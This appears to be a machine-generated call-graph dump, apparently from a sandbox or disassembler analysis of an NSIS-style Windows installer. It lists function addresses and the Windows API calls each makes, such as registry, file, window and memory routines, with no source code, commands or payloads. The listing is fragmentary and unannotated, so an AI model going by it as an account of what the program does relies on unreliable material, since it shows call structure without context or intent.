4055->4057 4066 406195 4055->4066 4073 405a17 WriteFile 4055->4073 4056->4055 4058 404f16 25 API calls 4057->4058 4058->4055 4061 405d1f 18 API calls 4060->4061 4062 402a31 4061->4062 4062->4031 4076 4059e8 ReadFile 4063->4076 4067 4061ba 4066->4067 4068 4061c2 4066->4068 4067->4055 4068->4067 4069 406252 GlobalAlloc 4068->4069 4070 406249 GlobalFree 4068->4070 4071 4062c0 GlobalFree 4068->4071 4072 4062c9 GlobalAlloc 4068->4072 4069->4067 4069->4068 4070->4069 4071->4072 4072->4067 4072->4068 4074 405a35 4073->4074 4074->4055 4075->4040 4077 402eeb 4076->4077 4077->4045 4077->4046 4077->4047 5156 401567 5157 401577 ShowWindow 5156->5157 5158 40157e 5156->5158 5157->5158 5159 40158c ShowWindow 5158->5159 5160 4028cf 5158->5160 5159->5160 4263 401dea 4264 402a3a 18 API calls 4263->4264 4265 401df0 4264->4265 4266 402a3a 18 API calls 4265->4266 4267 401df9 4266->4267 4268 402a3a 18 API calls 4267->4268 4269 401e02 4268->4269 4270 402a3a 18 API calls 4269->4270 4271 401e0b 4270->4271 4275 401423 4271->4275 4274 401e3f 4276 404f16 25 API calls 4275->4276 4277 401431 ShellExecuteA 4276->4277 4277->4274 5161 401eee 5162 402a3a 18 API calls 5161->5162 5163 401ef5 5162->5163 5164 406092 5 API calls 5163->5164 5165 401f04 5164->5165 5166 401f1c GlobalAlloc 5165->5166 5167 401f84 5165->5167 5166->5167 5168 401f30 5166->5168 5169 406092 5 API calls 5168->5169 5170 401f37 5169->5170 5171 406092 5 API calls 5170->5171 5172 401f41 5171->5172 5172->5167 5176 405c5b wsprintfA 5172->5176 5174 401f78 5177 405c5b wsprintfA 5174->5177 5176->5174 5177->5167 5178 4014f0 SetForegroundWindow 5179 4028cf 5178->5179 5180 404671 5181 404681 5180->5181 5182 40469d 5180->5182 5191 4054d7 GetDlgItemTextA 5181->5191 5184 4046d0 5182->5184 5185 4046a3 SHGetPathFromIDListA 5182->5185 5187 4046ba SendMessageA 5185->5187 5188 4046b3 5185->5188 5186 40468e SendMessageA 5186->5182 5187->5184 5189 40140b 2 API calls 5188->5189 5189->5187 5191->5186 5192 100015b3 5193 100014bb GlobalFree 5192->5193 5195 100015cb 5193->5195 5194 10001611 GlobalFree 5195->5194 5196 100015e6 5195->5196 5197 100015fd VirtualFree 5195->5197 5196->5194 5197->5194 5203 4018f5 5204 40192c 5203->5204 5205 402a3a 18 API calls 5204->5205 5206 401931 5205->5206 5207 40559f 69 API calls 5206->5207 5208 40193a 5207->5208 5209 403ff6 lstrcpynA lstrlenA 5210 4024f7 5211 402a3a 18 API calls 5210->5211 5212 4024fe 5211->5212 5215 405970 GetFileAttributesA CreateFileA 5212->5215 5214 40250a 5215->5214 5216 4018f8 5217 402a3a 18 API calls 5216->5217 5218 4018ff 5217->5218 5219 4054f3 MessageBoxIndirectA 5218->5219 5220 401908 5219->5220 5235 1000103d 5236 1000101b 5 API calls 5235->5236 5237 10001056 5236->5237 5238 4014fe 5239 401506 5238->5239 5241 401519 5238->5241 5240 402a1d 18 API calls 5239->5240 5240->5241 5242 402b7f 5243 402ba7 5242->5243 5244 402b8e SetTimer 5242->5244 5245 402bfc 5243->5245 5246 402bc1 MulDiv wsprintfA SetWindowTextA SetDlgItemTextA 5243->5246 5244->5243 5246->5245 5247 401000 5248 401037 BeginPaint GetClientRect 5247->5248 5249 40100c DefWindowProcA 5247->5249 5250 4010f3 5248->5250 5254 401179 5249->5254 5252 401073 CreateBrushIndirect FillRect DeleteObject 5250->5252 5253 4010fc 5250->5253 5252->5250 5255 401102 CreateFontIndirectA 5253->5255 5256 401167 EndPaint 5253->5256 5255->5256 5257 401112 6 API calls 5255->5257 5256->5254 5257->5256 5265 401b02 5266 402a3a 18 API calls 5265->5266 5267 401b09 5266->5267 5268 402a1d 18 API calls 5267->5268 5269 401b12 wsprintfA 5268->5269 5270 4028cf 5269->5270 5271 402482 5272 402b44 19 API calls 5271->5272 5273 40248c 5272->5273 5274 402a1d 18 API calls 5273->5274 5275 402495 5274->5275 5276 4024b8 RegEnumValueA 5275->5276 5277 4024ac RegEnumKeyA 5275->5277 5279 4026a6 5275->5279 5278 4024d1 RegCloseKey 5276->5278 5276->5279 5277->5278 5278->5279 3932 402283 3933 40228b 3932->3933 3938 402291 3932->3938 3934 402a3a 18 API calls 3933->3934 3934->3938 3935 402a3a 18 API calls 3937 4022a1 3935->3937 3936 4022af 3942 402a3a 3936->3942 3937->3936 3939 402a3a 18 API calls 3937->3939 3938->3935 3938->3937 3939->3936 3943 402a46 3942->3943 3948 405d1f 3943->3948 3946 4022b8 WritePrivateProfileStringA 3953 405d2c 3948->3953 3949 405f4f 3950 402a67 3949->3950 3982 405cfd lstrcpynA 3949->3982 3950->3946 3966 405f68 3950->3966 3952 405dcd GetVersion 3952->3953 3953->3949 3953->3952 3954 405f26 lstrlenA 3953->3954 3957 405d1f 10 API calls 3953->3957 3959 405e45 GetSystemDirectoryA 3953->3959 3960 405e58 GetWindowsDirectoryA 3953->3960 3961 405f68 5 API calls 3953->3961 3962 405e8c SHGetSpecialFolderLocation 3953->3962 3963 405d1f 10 API calls 3953->3963 3964 405ecf lstrcatA 3953->3964 3975 405be4 RegOpenKeyExA 3953->3975 3980 405c5b wsprintfA 3953->3980 3981 405cfd lstrcpynA 3953->3981 3954->3953 3957->3954 3959->3953 3960->3953 3961->3953 3962->3953 3965 405ea4 SHGetPathFromIDListA CoTaskMemFree 3962->3965 3963->3953 3964->3953 3965->3953 3967 405f74 3966->3967 3969 405fd1 CharNextA 3967->3969 3972 405fdc 3967->3972 3973 405fbf CharNextA 3967->3973 3974 405fcc CharNextA 3967->3974 3983 40579a 3967->3983 3968 405fe0 CharPrevA 3968->3972 3969->3967 3969->3972 3970 405ffb 3970->3946 3972->3968 3972->3970 3973->3967 3974->3969 3976 405c55 3975->3976 3977 405c17 RegQueryValueExA 3975->3977 3976->3953 3978 405c38 RegCloseKey 3977->3978 3978->3976 3980->3953 3981->3953 3982->3950 3984 4057a0 3983->3984 3985 4057b3 3984->3985 3986 4057a6 CharNextA 3984->3986 3985->3967 3986->3984 5281 401a03 5282 402a3a 18 API calls 5281->5282 5283 401a0c ExpandEnvironmentStringsA 5282->5283 5284 401a20 5283->5284 5286 401a33 5283->5286 5285 401a25 lstrcmpA 5284->5285 5284->5286 5285->5286 5287 100029c3 5288 100029db 5287->5288 5289 10001534 2 API calls 5288->5289 5290 100029f6 5289->5290 4085 402308 4086 402338 4085->4086 4087 40230d 4085->4087 4088 402a3a 18 API calls 4086->4088 4097 402b44 4087->4097 4092 40233f 4088->4092 4090 402314 4091 40231e 4090->4091 4096 402355 4090->4096 4093 402a3a 18 API calls 4091->4093 4101 402a7a RegOpenKeyExA 4092->4101 4094 402325 RegDeleteValueA RegCloseKey 4093->4094 4094->4096 4098 402a3a 18 API calls 4097->4098 4099 402b5d 4098->4099 4100 402b6b RegOpenKeyExA 4099->4100 4100->4090 4102 402b0e 4101->4102 4106 402aa5 4101->4106 4102->4096 4103 402acb RegEnumKeyA 4104 402add RegCloseKey 4103->4104 4103->4106 4112 406092 GetModuleHandleA 4104->4112 4105 402b02 RegCloseKey 4110 402af1 4105->4110 4106->4103 4106->4104 4106->4105 4108 402a7a 5 API calls 4106->4108 4108->4106 4110->4102 4111 402b1d RegDeleteKeyA 4111->4110 4113 4060b8 GetProcAddress 4112->4113 4114 4060ae 4112->4114 4116 402aed 4113->4116 4118 406028 GetSystemDirectoryA 4114->4118 4116->4110 4116->4111 4117 4060b4 4117->4113 4117->4116 4119 40604a wsprintfA LoadLibraryA 4118->4119 4119->4117 4121 402688 4122 402a3a 18 API calls 4121->4122 4123 40268f FindFirstFileA 4122->4123 4124 4026b2 4123->4124 4128 4026a2 4123->4128 4125 4026b9 4124->4125 4129 405c5b wsprintfA 4124->4129 4130 405cfd lstrcpynA 4125->4130 4129->4125 4130->4128 4131 401389 4133 401390 4131->4133 4132 4013fe 4133->4132 4134 4013cb MulDiv SendMessageA 4133->4134 4134->4133 5291 404e8a 5292 404e9a 5291->5292 5293 404eae 5291->5293 5294 404ea0 5292->5294 5303 404ef7 5292->5303 5295 404eb6 IsWindowVisible 5293->5295 5299 404ecd 5293->5299 5297 403f2e SendMessageA 5294->5297 5298 404ec3 5295->5298 5295->5303 5296 404efc CallWindowProcA 5300 404eaa 5296->5300 5297->5300 5304 4047e1 SendMessageA 5298->5304 5299->5296 5309 404861 5299->5309 5303->5296 5305 404840 SendMessageA 5304->5305 5306 404804 GetMessagePos ScreenToClient SendMessageA 5304->5306 5307 404838 5305->5307 5306->5307 5308 40483d 5306->5308 5307->5299 5308->5305 5318 405cfd lstrcpynA 5309->5318 5311 404874 5319 405c5b wsprintfA 5311->5319 5313 40487e 5314 40140b 2 API calls 5313->5314 5315 404887 5314->5315 5320 405cfd lstrcpynA 5315->5320 5317 40488e 5317->5303 5318->5311 5319->5313 5320->5317 5321 401c8a 5322 402a1d 18 API calls 5321->5322 5323 401c90 IsWindow 5322->5323 5324 4019f3 5323->5324 5325 403a0f 5326 403b62 5325->5326 5327 403a27 5325->5327 5329 403bb3 5326->5329 5330 403b73 GetDlgItem GetDlgItem 5326->5330 5327->5326 5328 403a33 5327->5328 5331 403a51 5328->5331 5332 403a3e SetWindowPos 5328->5332 5334 403c0d 5329->5334 5342 401389 2 API calls 5329->5342 5333 403ee2 19 API calls 5330->5333 5335 403a56 ShowWindow 5331->5335 5336 403a6e 5331->5336 5332->5331 5337 403b9d SetClassLongA 5333->5337 5338 403f2e SendMessageA 5334->5338 5343 403b5d 5334->5343 5335->5336 5339 403a90 5336->5339 5340 403a76 DestroyWindow 5336->5340 5341 40140b 2 API calls 5337->5341 5365 403c1f 5338->5365 5345 403a95 SetWindowLongA 5339->5345 5346 403aa6 5339->5346 5344 403e6b 5340->5344 5341->5329 5347 403be5 5342->5347 5344->5343 5353 403e9c ShowWindow 5344->5353 5345->5343 5350 403ab2 GetDlgItem 5346->5350 5351 403b1d 5346->5351 5347->5334 5352 403be9 SendMessageA 5347->5352 5348 40140b 2 API calls 5348->5365 5349 403e6d DestroyWindow EndDialog 5349->5344 5354 403ae2 5350->5354 5355 403ac5 SendMessageA IsWindowEnabled 5350->5355 5356 403f49 8 API calls 5351->5356 5352->5343 5353->5343 5358 403aef 5354->5358 5359 403b02 5354->5359 5360 403b36 SendMessageA 5354->5360 5368 403ae7 5354->5368 5355->5343 5355->5354 5356->5343 5357 405d1f 18 API calls 5357->5365 5358->5360 5358->5368 5363 403b0a 5359->5363 5364 403b1f 5359->5364 5360->5351 5361 403ebb SendMessageA 5361->5351 5362 403ee2 19 API calls 5362->5365 5366 40140b 2 API calls 5363->5366 5367 40140b 2 API calls 5364->5367 5365->5343 5365->5348 5365->5349 5365->5357 5365->5362 5369 403ee2 19 API calls 5365->5369 5384 403dad DestroyWindow 5365->5384 5366->5368 5367->5368 5368->5351 5368->5361 5370 403c9a GetDlgItem 5369->5370 5371 403cb7 ShowWindow EnableWindow 5370->5371 5372 403caf 5370->5372 5393 403f04 EnableWindow 5371->5393 5372->5371 5374 403ce1 EnableWindow 5377 403cf5 5374->5377 5375 403cfa GetSystemMenu EnableMenuItem SendMessageA 5376 403d2a SendMessageA 5375->5376 5375->5377 5376->5377 5377->5375 5394 403f17 SendMessageA 5377->5394 5395 405cfd lstrcpynA 5377->5395 5380 403d58 lstrlenA 5381 405d1f 18 API calls 5380->5381 5382 403d69 SetWindowTextA 5381->5382 5383 401389 2 API calls 5382->5383 5383->5365 5384->5344 5385 403dc7 CreateDialogParamA 5384->5385 5385->5344 5386 403dfa 5385->5386 5387 403ee2 19 API calls 5386->5387 5388 403e05 GetDlgItem GetWindowRect ScreenToClient SetWindowPos 5387->5388 5389 401389 2 API calls 5388->5389 5390 403e4b 5389->5390 5390->5343 5391 403e53 ShowWindow 5390->5391 5392 403f2e SendMessageA 5391->5392 5392->5344 5393->5374 5394->5377 5395->5380 4281 402410 4282 402b44 19 API calls 4281->4282 4283 40241a 4282->4283 4284 402a3a 18 API calls 4283->4284 4285 402423 4284->4285 4286 40242d RegQueryValueExA 4285->4286 4287 4026a6 4285->4287 4288 402453 RegCloseKey 4286->4288 4289 40244d 4286->4289 4288->4287 4289->4288 4292 405c5b wsprintfA 4289->4292 4292->4288 4293 401f90 4294 401fa2 4293->4294 4295 402050 4293->4295 4296 402a3a 18 API calls 4294->4296 4297 401423 25 API calls 4295->4297 4298 401fa9 4296->4298 4303 4021c9 4297->4303 4299 402a3a 18 API calls 4298->4299 4300 401fb2 4299->4300 4301 401fc7 LoadLibraryExA 4300->4301 4302 401fba GetModuleHandleA 4300->4302 4301->4295 4304 401fd7 GetProcAddress 4301->4304 4302->4301 4302->4304 4305 402023 4304->4305 4306 401fe6 4304->4306 4307 404f16 25 API calls 4305->4307 4308 402005 4306->4308 4309 401fee 4306->4309 4311 401ff6 4307->4311 4314 100016bd 4308->4314 4310 401423 25 API calls 4309->4310 4310->4311 4311->4303 4312 402044 FreeLibrary 4311->4312 4312->4303 4315 100016ed 4314->4315 4356 10001a5d 4315->4356 4317 100016f4 4318 1000180a 4317->4318 4319 10001705 4317->4319 4320 1000170c 4317->4320 4318->4311 4406 100021b0 4319->4406 4388 100021fa 4320->4388 4325 10001731 4326 10001770 4325->4326 4327 10001752 4325->4327 4330 100017b2 4326->4330 4331 10001776 4326->4331 4419 100023da 4327->4419 4328 10001722 4334 10001733 4328->4334 4335 10001728 4328->4335 4339 100023da 11 API calls 4330->4339 4337 10001559 3 API calls 4331->4337 4332 1000173b 4332->4325 4416 10002aa3 4332->4416 4333 10001758 4430 10001559 4333->4430 4410 10002589 4334->4410 4335->4325 4400 100027e8 4335->4400 4342 1000178c 4337->4342 4343 100017a4 4339->4343 4346 100023da 11 API calls 4342->4346 4347 100017f9 4343->4347 4441 100023a0 4343->4441 4345 10001739 4345->4325 4346->4343 4347->4318 4351 10001803 GlobalFree 4347->4351 4351->4318 4353 100017e5 4353->4347 4445 100014e2 wsprintfA 4353->4445 4354 100017de FreeLibrary 4354->4353 4448 10001215 GlobalAlloc 4356->4448 4358 10001a81 4449 10001215 GlobalAlloc 4358->4449 4360 10001cbb GlobalFree GlobalFree GlobalFree 4361 10001cd8 4360->4361 4380 10001d22 4360->4380 4362 1000201a 4361->4362 4363 10001ced 4361->4363 4361->4380 4365 1000203c GetModuleHandleA 4362->4365 4362->4380 4363->4380 4452 10001224 4363->4452 4364 10001b60 GlobalAlloc 4384 10001a8c 4364->4384 4366 10002062 4365->4366 4367 1000204d LoadLibraryA 4365->4367 4456 100015a4 GetProcAddress 4366->4456 4367->4366 4367->4380 4368 10001bab lstrcpyA 4371 10001bb5 lstrcpyA 4368->4371 4369 10001bc9 GlobalFree 4369->4384 4371->4384 4372 100020b3 4374 100020c0 lstrlenA 4372->4374 4372->4380 4373 10001f7a 4379 10001fbe lstrcpyA 4373->4379 4373->4380 4457 100015a4 GetProcAddress 4374->4457 4376 10002074 4376->4372 4387 1000209d GetProcAddress 4376->4387 4379->4380 4380->4317 4381 10001c07 4381->4384 4450 10001534 GlobalSize GlobalAlloc 4381->4450 4382 10001e75 GlobalFree 4382->4384 4383 100020d9 4383->4380 4384->4360 4384->4364 4384->4368 4384->4369 4384->4371 4384->4373 4384->4380 4384->4381 4384->4382 4386 10001224 2 API calls 4384->4386 4455 10001215 GlobalAlloc 4384->4455 4386->4384 4387->4372 4392 10002212 4388->4392 4389 10001224 GlobalAlloc lstrcpynA 4389->4392 4391 10002349 GlobalFree 4391->4392 4395 10001712 4391->4395 4392->4389 4392->4391 4393 100022b9 GlobalAlloc MultiByteToWideChar 4392->4393 4394 1000230a lstrlenA 4392->4394 4459 100012ad 4392->4459 4396 100022e3 GlobalAlloc 4393->4396 4399 10002303 4393->4399 4394->4391 4394->4399 4395->4325 4395->4328 4395->4332 4397 100022fa GlobalFree 4396->4397 4397->4391 4399->4391 4463 1000251d 4399->4463 4402 100027fa 4400->4402 4401 1000289f VirtualAllocEx 4403 100028bd 4401->4403 4402->4401 4404 100029b9 4403->4404 4405 100029ae GetLastError 4403->4405 4404->4325 4405->4404 4407 100021c0 4406->4407 4409 1000170b 4406->4409 4408 100021d2 GlobalAlloc 4407->4408 4407->4409 4408->4407 4409->4320 4413 100025a5 4410->4413 4411 100025f6 GlobalAlloc 4415 10002618 4411->4415 4412 10002609 4414 1000260e GlobalSize 4412->4414 4412->4415 4413->4411 4413->4412 4414->4415 4415->4345 4417 10002aae 4416->4417 4418 10002aee GlobalFree 4417->4418 4466 10001215 GlobalAlloc 4419->4466 4421 1000243a lstrcpynA 4425 100023e6 4421->4425 4422 1000244b StringFromGUID2 WideCharToMultiByte 4422->4425 4423 1000246f WideCharToMultiByte 4423->4425 4424 100024b4 GlobalFree 4424->4425 4425->4421 4425->4422 4425->4423 4425->4424 4426 10002490 wsprintfA 4425->4426 4427 100024ee GlobalFree 4425->4427 4428 10001266 2 API calls 4425->4428 4467 100012d1 4425->4467 4426->4425 4427->4333 4428->4425 4471 10001215 GlobalAlloc 4430->4471 4432 1000155f 4433 1000156c lstrcpyA 4432->4433 4435 10001586 4432->4435 4436 100015a0 4433->4436 4435->4436 4437 1000158b wsprintfA 4435->4437 4438 10001266 4436->4438 4437->4436 4439 100012a8 GlobalFree 4438->4439 4440 1000126f GlobalAlloc lstrcpynA 4438->4440 4439->4343 4440->4439 4442 100023ae 4441->4442 4444 100017c5 4441->4444 4443 100023c7 GlobalFree 4442->4443 4442->4444 4443->4442 4444->4353 4444->4354 4446 10001266 2 API calls 4445->4446 4447 10001503 4446->4447 4447->4347 4448->4358 4449->4384 4451 10001552 4450->4451 4451->4381 4458 10001215 GlobalAlloc 4452->4458 4454 10001233 lstrcpynA 4454->4380 4455->4384 4456->4376 4457->4383 4458->4454 4460 100012b4 4459->4460 4461 10001224 2 API calls 4460->4461 4462 100012cf 4461->4462 4462->4392 4464 10002581 4463->4464 4465 1000252b VirtualAlloc 4463->4465 4464->4399 4465->4464 4466->4425 4468 100012f9 4467->4468 4469 100012da 4467->4469 4468->4425 4469->4468 4470 100012e0 lstrcpyA 4469->4470 4470->4468 4471->4432 5396 401490 5397 404f16 25 API calls 5396->5397 5398 401497 5397->5398 5406 404893 GetDlgItem GetDlgItem 5407 4048e5 7 API calls 5406->5407 5414 404afd 5406->5414 5408 404988 DeleteObject 5407->5408 5409 40497b SendMessageA 5407->5409 5410 404991 5408->5410 5409->5408 5412 4049c8 5410->5412 5413 405d1f 18 API calls 5410->5413 5411 404be1 5416 404c8d 5411->5416 5427 404c3a SendMessageA 5411->5427 5449 404af0 5411->5449 5415 403ee2 19 API calls 5412->5415 5418 4049aa SendMessageA SendMessageA 5413->5418 5414->5411 5417 404b6e 5414->5417 5425 4047e1 5 API calls 5414->5425 5421 4049dc 5415->5421 5419 404c97 SendMessageA 5416->5419 5420 404c9f 5416->5420 5417->5411 5423 404bd3 SendMessageA 5417->5423 5418->5410 5419->5420 5424 404cc8 5420->5424 5429 404cb1 ImageList_Destroy 5420->5429 5430 404cb8 5420->5430 5426 403ee2 19 API calls 5421->5426 5422 403f49 8 API calls 5428 404e83 5422->5428 5423->5411 5432 404e37 5424->5432 5448 404861 4 API calls 5424->5448 5453 404d03 5424->5453 5425->5417 5431 4049ea 5426->5431 5433 404c4f SendMessageA 5427->5433 5427->5449 5429->5430 5430->5424 5434 404cc1 GlobalFree 5430->5434 5435 404abe GetWindowLongA SetWindowLongA 5431->5435 5442 404ab8 5431->5442 5445 404a39 SendMessageA 5431->5445 5446 404a75 SendMessageA 5431->5446 5447 404a86 SendMessageA 5431->5447 5436 404e49 ShowWindow GetDlgItem ShowWindow 5432->5436 5432->5449 5438 404c62 5433->5438 5434->5424 5437 404ad7 5435->5437 5436->5449 5439 404af5 5437->5439 5440 404add ShowWindow 5437->5440 5441 404c73 SendMessageA 5438->5441 5458 403f17 SendMessageA 5439->5458 5457 403f17 SendMessageA 5440->5457 5441->5416 5442->5435 5442->5437 5445->5431 5446->5431 5447->5431 5448->5453 5449->5422 5450 404e0d InvalidateRect 5450->5432 5451 404e23 5450->5451 5459 40479c 5451->5459 5452 404d31 SendMessageA 5456 404d47 5452->5456 5453->5452 5453->5456 5455 404dbb SendMessageA SendMessageA 5455->5456 5456->5450 5456->5455 5457->5449 5458->5414 5462 4046d7 5459->5462 5461 4047b1 5461->5432 5463 4046ed 5462->5463 5464 405d1f 18 API calls 5463->5464 5465 404751 5464->5465 5466 405d1f 18 API calls 5465->5466 5467 40475c 5466->5467 5468 405d1f 18 API calls 5467->5468 5469 404772 lstrlenA wsprintfA SetDlgItemTextA 5468->5469 5469->5461 4549 401595 4550 402a3a 18 API calls 4549->4550 4551 40159c SetFileAttributesA 4550->4551 4552 4015ae 4551->4552 4553 402616 4554 40261d 4553->4554 4560 40287c 4553->4560 4555 402a1d 18 API calls 4554->4555 4556 402628 4555->4556 4557 40262f SetFilePointer 4556->4557 4558 40263f 4557->4558 4557->4560 4561 405c5b wsprintfA 4558->4561 4561->4560 4567 401717 4568 402a3a 18 API calls 4567->4568 4569 40171e SearchPathA 4568->4569 4570 401739 4569->4570 5470 10001058 5472 10001074 5470->5472 5471 100010dc 5472->5471 5473 100014bb GlobalFree 5472->5473 5474 10001091 5472->5474 5473->5474 5475 100014bb GlobalFree 5474->5475 5476 100010a1 5475->5476 5477 100010b1 5476->5477 5478 100010a8 GlobalSize 5476->5478 5479 100010b5 GlobalAlloc 5477->5479 5480 100010c6 5477->5480 5478->5477 5481 100014e2 3 API calls 5479->5481 5482 100010d1 GlobalFree 5480->5482 5481->5480 5482->5471 5483 402519 5484 40252e 5483->5484 5485 40251e 5483->5485 5487 402a3a 18 API calls 5484->5487 5486 402a1d 18 API calls 5485->5486 5488 402527 5486->5488 5489 402535 lstrlenA 5487->5489 5490 405a17 WriteFile 5488->5490 5491 402557 5488->5491 5489->5488 5490->5491 5492 40149d 5493 4014ab PostQuitMessage 5492->5493 5494 40226e 5492->5494 5493->5494 5495 404320 5496 40434c 5495->5496 5497 40435d 5495->5497 5556 4054d7 GetDlgItemTextA 5496->5556 5499 404369 GetDlgItem 5497->5499 5500 4043c8 5497->5500 5503 40437d 5499->5503 5501 4044ac 5500->5501 5508 405d1f 18 API calls 5500->5508 5554 404656 5500->5554 5501->5554 5558 4054d7 GetDlgItemTextA 5501->5558 5502 404357 5504 405f68 5 API calls 5502->5504 5506 404391 SetWindowTextA 5503->5506 5507 405808 4 API calls 5503->5507 5504->5497 5510 403ee2 19 API calls 5506->5510 5512 404387 5507->5512 5513 40443c SHBrowseForFolderA 5508->5513 5509 4044dc 5514 40585d 18 API calls 5509->5514 5515 4043ad 5510->5515 5511 403f49 8 API calls 5516 40466a 5511->5516 5512->5506 5520 40576f 3 API calls 5512->5520 5513->5501 5517 404454 CoTaskMemFree 5513->5517 5518 4044e2 5514->5518 5519 403ee2 19 API calls 5515->5519 5521 40576f 3 API calls 5517->5521 5559 405cfd lstrcpynA 5518->5559 5522 4043bb 5519->5522 5520->5506 5523 404461 5521->5523 5557 403f17 SendMessageA 5522->5557 5526 404498 SetDlgItemTextA 5523->5526 5531 405d1f 18 API calls 5523->5531 5526->5501 5527 4043c1 5529 406092 5 API calls 5527->5529 5528 4044f9 5530 406092 5 API calls 5528->5530 5529->5500 5537 404500 5530->5537 5532 404480 lstrcmpiA 5531->5532 5532->5526 5535 404491 lstrcatA 5532->5535 5533 40453c 5560 405cfd lstrcpynA 5533->5560 5535->5526 5536 404543 5538 405808 4 API calls 5536->5538 5537->5533 5541 4057b6 2 API calls 5537->5541 5543 404594 5537->5543 5539 404549 GetDiskFreeSpaceA 5538->5539 5542 40456d MulDiv 5539->5542 5539->5543 5541->5537 5542->5543 5544 404605 5543->5544 5546 40479c 21 API calls 5543->5546 5545 404628 5544->5545 5547 40140b 2 API calls 5544->5547 5561 403f04 EnableWindow 5545->5561 5548 4045f2 5546->5548 5547->5545 5550 404607 SetDlgItemTextA 5548->5550 5551 4045f7 5548->5551 5550->5544 5553 4046d7 21 API calls 5551->5553 5552 404644 5552->5554 5562 4042b5 5552->5562 5553->5544 5554->5511 5556->5502 5557->5527 5558->5509 5559->5528 5560->5536 5561->5552 5563 4042c3 5562->5563 5564 4042c8 SendMessageA 5562->5564 5563->5564 5564->5554 5565 100010e0 5574 1000110e 5565->5574 5566 100011c4 GlobalFree 5567 100012ad 2 API calls 5567->5574 5568 100011c3 5568->5566 5569 100011ea GlobalFree 5569->5574 5570 10001266 2 API calls 5573 100011b1 GlobalFree 5570->5573 5571 10001155 GlobalAlloc 5571->5574 5572 100012d1 lstrcpyA 5572->5574 5573->5574 5574->5566 5574->5567 5574->5568 5574->5569 5574->5570 5574->5571 5574->5572 5574->5573 5575 10002162 5576 100021c0 5575->5576 5577 100021f6 5575->5577 5576->5577 5578 100021d2 GlobalAlloc 5576->5578 5578->5576 5579 401b23 5580 401b30 5579->5580 5581 401b74 5579->5581 5584 401bb8 5580->5584 5589 401b47 5580->5589 5582 401b78 5581->5582 5583 401b9d GlobalAlloc 5581->5583 5593 40226e 5582->5593 5600 405cfd lstrcpynA 5582->5600 5585 405d1f 18 API calls 5583->5585 5586 405d1f 18 API calls 5584->5586 5584->5593 5585->5584 5588 402268 5586->5588 5594 4054f3 MessageBoxIndirectA 5588->5594 5598 405cfd lstrcpynA 5589->5598 5590 401b8a GlobalFree 5590->5593 5592 401b56 5599 405cfd lstrcpynA 5592->5599 5594->5593 5596 401b65 5601 405cfd lstrcpynA 5596->5601 5598->5592 5599->5596 5600->5590 5601->5593 5602 401ca7 5603 402a1d 18 API calls 5602->5603 5604 401cae 5603->5604 5605 402a1d 18 API calls 5604->5605 5606 401cb6 GetDlgItem 5605->5606 5607 402513 5606->5607 4135 40192a 4136 40192c 4135->4136 4137 402a3a 18 API calls 4136->4137 4138 401931 4137->4138 4141 40559f 4138->4141 4181 40585d 4141->4181 4144 4055c7 DeleteFileA 4146 40193a 4144->4146 4145 4055de 4151 40570c 4145->4151 4195 405cfd lstrcpynA 4145->4195 4148 405604 4149 405617 4148->4149 4150 40560a lstrcatA 4148->4150 4196 4057b6 lstrlenA 4149->4196 4152 40561d 4150->4152 4151->4146 4213 406001 FindFirstFileA 4151->4213 4155 40562b lstrcatA 4152->4155 4158 405636 lstrlenA FindFirstFileA 4152->4158 4155->4158 4157 405734 4216 40576f lstrlenA CharPrevA 4157->4216 4158->4151 4164 40565a 4158->4164 4161 40579a CharNextA 4161->4164 4162 405557 5 API calls 4163 405746 4162->4163 4165 405760 4163->4165 4166 40574a 4163->4166 4164->4161 4167 4056eb FindNextFileA 4164->4167 4178 4056ac 4164->4178 4200 405cfd lstrcpynA 4164->4200 4169 404f16 25 API calls 4165->4169 4166->4146 4171 404f16 25 API calls 4166->4171 4167->4164 4170 405703 FindClose 4167->4170 4169->4146 4170->4151 4172 405757 4171->4172 4173 405bb8 38 API calls 4172->4173 4176 40575e 4173->4176 4175 40559f 62 API calls 4175->4178 4176->4146 4177 404f16 25 API calls 4177->4167 4178->4167 4178->4175 4178->4177 4179 404f16 25 API calls 4178->4179 4201 405557 4178->4201 4209 405bb8 MoveFileExA 4178->4209 4179->4178 4219 405cfd lstrcpynA 4181->4219 4183 40586e 4220 405808 CharNextA CharNextA 4183->4220 4186 4055bf 4186->4144 4186->4145 4187 405f68 5 API calls 4193 405884 4187->4193 4188 4058af lstrlenA 4189 4058ba 4188->4189 4188->4193 4191 40576f 3 API calls 4189->4191 4190 406001 2 API calls 4190->4193 4192 4058bf GetFileAttributesA 4191->4192 4192->4186 4193->4186 4193->4188 4193->4190 4194 4057b6 2 API calls 4193->4194 4194->4188 4195->4148 4197 4057c3 4196->4197 4198 4057d4 4197->4198 4199 4057c8 CharPrevA 4197->4199 4198->4152 4199->4197 4199->4198 4200->4164 4226 40594b GetFileAttributesA 4201->4226 4204 405572 RemoveDirectoryA 4207 405580 4204->4207 4205 40557a DeleteFileA 4205->4207 4206 405584 4206->4178 4207->4206 4208 405590 SetFileAttributesA 4207->4208 4208->4206 4210 405bd9 4209->4210 4211 405bcc 4209->4211 4210->4178 4229 405a46 lstrcpyA 4211->4229 4214 405730 4213->4214 4215 406017 FindClose 4213->4215 4214->4146 4214->4157 4215->4214 4217 40573a 4216->4217 4218 405789 lstrcatA 4216->4218 4217->4162 4218->4217 4219->4183 4221 405823 4220->4221 4223 405833 4220->4223 4221->4223 4224 40582e CharNextA 4221->4224 4222 405853 4222->4186 4222->4187 4223->4222 4225 40579a CharNextA 4223->4225 4224->4222 4225->4223 4227 405563 4226->4227 4228 40595d SetFileAttributesA 4226->4228 4227->4204 4227->4205 4227->4206 4228->4227 4230 405a94 GetShortPathNameA 4229->4230 4231 405a6e 4229->4231 4232 405bb3 4230->4232 4233 405aa9 4230->4233 4256 405970 GetFileAttributesA CreateFileA 4231->4256 4232->4210 4233->4232 4235 405ab1 wsprintfA 4233->4235 4238 405d1f 18 API calls 4235->4238 4236 405a78 CloseHandle GetShortPathNameA 4236->4232 4237 405a8c 4236->4237 4237->4230 4237->4232 4239 405ad9 4238->4239 4257 405970 GetFileAttributesA CreateFileA 4239->4257 4241 405ae6 4241->4232 4242 405af5 GetFileSize GlobalAlloc 4241->4242 4243 405b17 4242->4243 4244 405bac CloseHandle 4242->4244 4245 4059e8 ReadFile 4243->4245 4244->4232 4246 405b1f 4245->4246 4246->4244 4258 4058d5 lstrlenA 4246->4258 4249 405b36 lstrcpyA 4252 405b58 4249->4252 4250 405b4a 4251 4058d5 4 API calls 4250->4251 4251->4252 4253 405b8f SetFilePointer 4252->4253 4254 405a17 WriteFile 4253->4254 4255 405ba5 GlobalFree 